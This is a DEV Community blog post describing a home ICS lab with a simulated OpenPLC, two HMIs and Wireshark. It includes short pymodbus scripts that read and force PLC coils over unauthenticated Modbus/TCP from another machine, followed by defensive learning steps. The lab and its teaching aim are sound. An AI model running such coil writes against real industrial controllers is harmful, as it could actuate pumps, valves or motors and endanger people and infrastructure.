DEV Community

Cover image for I Wrote 10 Lines of Python and Took Control of a PLC. No Password Required.
404Saint
404Saint

Posted on

I Wrote 10 Lines of Python and Took Control of a PLC. No Password Required.

By RUGERO Tesla (@404Saint).

Before today, I had never touched industrial security. I just had a PC, some free software, and a curiosity about how critical infrastructure actually works under the hood.

What I found kind of scared me.

Let me set the scene

Power grids. Water treatment plants. Oil pipelines. Manufacturing floors. All of these run on something called an ICS — Industrial Control System. At the heart of most ICS environments is a PLC — a Programmable Logic Controller. It's basically a rugged little computer that controls physical things. Open this valve. Spin this motor. Turn on this pump.

These systems run the world. And a lot of them are shockingly easy to talk to.

I don't mean that in a theoretical way. I mean I literally sat at my Ubuntu machine, ran a Python script, and forced a PLC's output from OFF to ON — from across the network, with zero credentials, in under a minute.

Let me show you exactly how I built the lab that made that possible.


Why ICS Security is Different (and Broken)

In regular IT security, you have layers. Firewalls. Authentication. Encryption. Zero trust. People have been fighting that battle for decades and while it's far from perfect, there's at least a culture of security.

ICS is a different world entirely.

A lot of industrial protocols were designed in the 1970s and 80s. The engineers building them weren't thinking about cyberattacks, they were thinking about reliability. Getting a signal from point A to point B, fast and consistently, on a factory floor.

Modbus is the perfect example. It's one of the oldest and most widely used industrial protocols in the world. It has:

  • No authentication
  • No encryption
  • No authorization

If you can reach a device that speaks Modbus on the network, you can read from it and write to it. Full stop. The protocol doesn't ask who you are.

This isn't a bug. It was a design decision that made sense in 1979 when everything was air-gapped and physically isolated. The problem is that the world changed; OT networks got connected to IT networks, which got connected to the internet, but the protocols stayed the same.

That's the core of why ICS security is broken. And the best way to understand it is to see it yourself.


The Lab I Built for $0

Here's everything I used:

Tool What it does Cost
OpenPLC Simulates a real PLC Free
FUXA Basic HMI dashboard Free
Ignition Maker Industry-grade SCADA/HMI Free (Maker license)
pyModbus Python Modbus client Free
Wireshark Packet capture Free
VirtualBox VM hypervisor Free

My Hardware

  • Host Workstation: Intel i5 PC, 16GB RAM running EndeavourOS (Arch Linux)
  • Attacker Node: Separate physical Ubuntu machine on the same local subnet

No physical PLCs purchased. No expensive lab kit. Just software and two computers most people already have lying around.


How It's Wired Together

Here's the architecture in plain terms:

[ Attacker Machine — Ubuntu ]
          |
          | Local Network
          |
[ Host Machine — EndeavourOS ]
          |
          ├── OpenPLC (Docker) ── The "PLC"
          │        |
          │        └── FUXA (Docker) ── Basic HMI, reads the PLC
          │
          └── VirtualBox
                   |
                   └── Windows 11 VM ── Ignition ── Industry SCADA, also reads PLC

Enter fullscreen mode Exit fullscreen mode

OpenPLC is our simulated PLC. It runs ladder logic and speaks Modbus/TCP on port 502. FUXA and Ignition are two different HMIs — the operator-facing dashboards that show what the PLC is doing. The attacker machine bypasses all of that entirely.


Stage 1 — Getting the PLC Running

I deployed OpenPLC via Docker, mapping the control interface and web administration ports:

docker run -d --name openplc -p 502:502 -p 8080:8080 wzy318/openplc

Enter fullscreen mode Exit fullscreen mode

Port 8080 is the web interface. Port 502 is Modbus — the one that actually matters.

I loaded a simple ladder logic program, hit Start PLC, and confirmed the status said Running.

OpenPLC running dashboard


Stage 2 — Connecting the HMIs

FUXA

FUXA also runs in Docker. The trick here is that two separate Docker containers cannot talk to each other via 127.0.0.1 natively without sharing a network namespace. I had to find OpenPLC's internal bridge network IP:

docker inspect openplc | grep IPAddress

Enter fullscreen mode Exit fullscreen mode

Returns something like `172.17.0.2`

Then, inside FUXA's connection parameters, I specified: 172.17.0.2:502, type Modbus TCP, and toggled Enable to ON.

Green dot. Connected.

FUXA Connected

Ignition

Ignition runs on the Windows 11 VM. Because it's isolated inside a hypervisor, I couldn't use 127.0.0.1 — I needed the host machine's actual LAN IP. I extracted it using:

ip addr show | grep "inet " | grep -v 127

Enter fullscreen mode Exit fullscreen mode

Inside the Ignition Gateway web console, I mapped: ConfigOPC-UADriversCreate New DeviceModbus TCP Driver. I plugged in the host's LAN IP and port 502.

Status configuration: Connected.

Ignition Modbus driver configuration showing Connected

At this point, two completely different HMIs are actively polling the exact same PLC. This reflects a realistic production environment—facilities frequently leverage redundant operator stations to track field equipment.


Stage 3 — The Attack

Here's where it gets uncomfortable.

From my Ubuntu attacker machine — a completely separate physical asset on the subnet — I installed pyModbus:

pip3 install pymodbus

Enter fullscreen mode Exit fullscreen mode

First, I performed low-level reconnaissance to read the PLC's coil registers. Coils are binary outputs representing an ON or OFF state:

from pymodbus.client import ModbusTcpClient

# Connect directly to the PLC bypass target
c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()

# Read the first 8 digital output coils
r = c.read_coils(address=0, count=8)
print('Coils Status:', r.bits)
c.close()

Enter fullscreen mode Exit fullscreen mode

Output:

Coils Status: [False, False, False, False, False, False, False, False]

Enter fullscreen mode Exit fullscreen mode

All off. I can audit the live state of an industrial system with no login, no session token, and no authorization checks.

Read Command

Then, I executed the injection write command:

from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()

# Force the first coil to an assertive True state
c.write_coil(address=0, value=True)

# Re-verify live register array status
r = c.read_coils(address=0, count=8)
print('Coils After Manipulation:', r.bits)
c.close()

Enter fullscreen mode Exit fullscreen mode

Output:

Coils After Manipulation: [True, False, False, False, False, False, False, False]

Enter fullscreen mode Exit fullscreen mode

Coil 0 successfully flipped to ON.

Write Command

In a real industrial facility, that specific register might map directly to a water pump, an oil valve, or a conveyor motor. I just forced it to actuate from a completely unauthorized host on the network — entirely bypassing the monitoring systems.

The scary part? The supervisory dashboards still thought everything was executing under native parameters. Nothing on the operator's display actively flagged that a raw protocol injection had overridden the logical controller.


Stage 4 — Watching It in Wireshark

I initialized Wireshark on the host workstation and isolated the interface traffic with a clean display filter:

tcp.port == 502

Enter fullscreen mode Exit fullscreen mode

Re-running the manipulation script captured the raw, unencrypted execution blocks in real time: Function Code 01 (Read Coils) followed immediately by Function Code 05 (Write Single Coil).

Wireshark capturing raw Modbus function codes

That unencrypted protocol exchange is the exact smoking gun industrial Network Detection and Response (NDR) tools like Claroty or Dragos actively hunt for inside production subnets.


What This Actually Means

This isn't a toy exercise. The exact attack pattern demonstrated here maps directly to the foundational methodologies behind the most legendary industrial cyber weapons in history.

  • Stuxnet (2010): Did not target or alter the operator visual dashboards initially. Instead, it directly injected malicious payload variations into field PLCs to alter frequency generator drives, while simultaneously playing back cached, completely normal-looking telemetry to the SCADA interface. Operators watched normal screens while physical components were actively driven to catastrophic failure parameters underneath.
  • Oldsmar Water Treatment Attack (2021): An unauthorized entry manipulated an active HMI console to scale chemical additive targets to dangerous concentrations. While a vigilant operator manually intercepted the modification, the control layers lacked native automated validation structures to stop it.

The underlying reality remains unchanged: the protocol tier treats network accessibility as complete authentication. If you exist on an unsegmented OT network and speak native machine protocol, you are implicitly trusted.


Where to Go From Here

If this sparked your curiosity about infrastructure security, here is a clear path forward to build your skills:

  1. Build this environment: Spin up these containers and see it live. The complete guide and script parameters are completely open-source.
  2. Master the industrial stack: Start with Modbus/TCP, then branch into tougher operational protocols like DNP3 and OPC-UA.
  3. Analyze threat taxonomies: Study the MITRE ATT&CK for ICS matrix to see how adversarial tactics map directly to register manipulation.
  4. Deconstruct industry frameworks: Review compliance goals established by the ISA/IEC 62443 zone protection standard.
  5. Architect network defense: Deploy a simulated network inside GNS3, split your layout into isolated zones, and build a proper firewall barrier to experience how defense actually works.

ICS/OT security remains one of the most critical, high-stakes, and deeply underserved areas in the global security industry. The talent gap is massive, and you don't need a multi-thousand-dollar physical lab to learn the core engineering primitives.

The alarming truth isn't that industrial infrastructure security is impossibly complex to learn. The alarming truth is how simple it is to exploit.


The complete step-by-step setup documentation, structural notes, and attack scripts are completely documented and available at github.com/404saint/ics-ot-homelab

Top comments (0)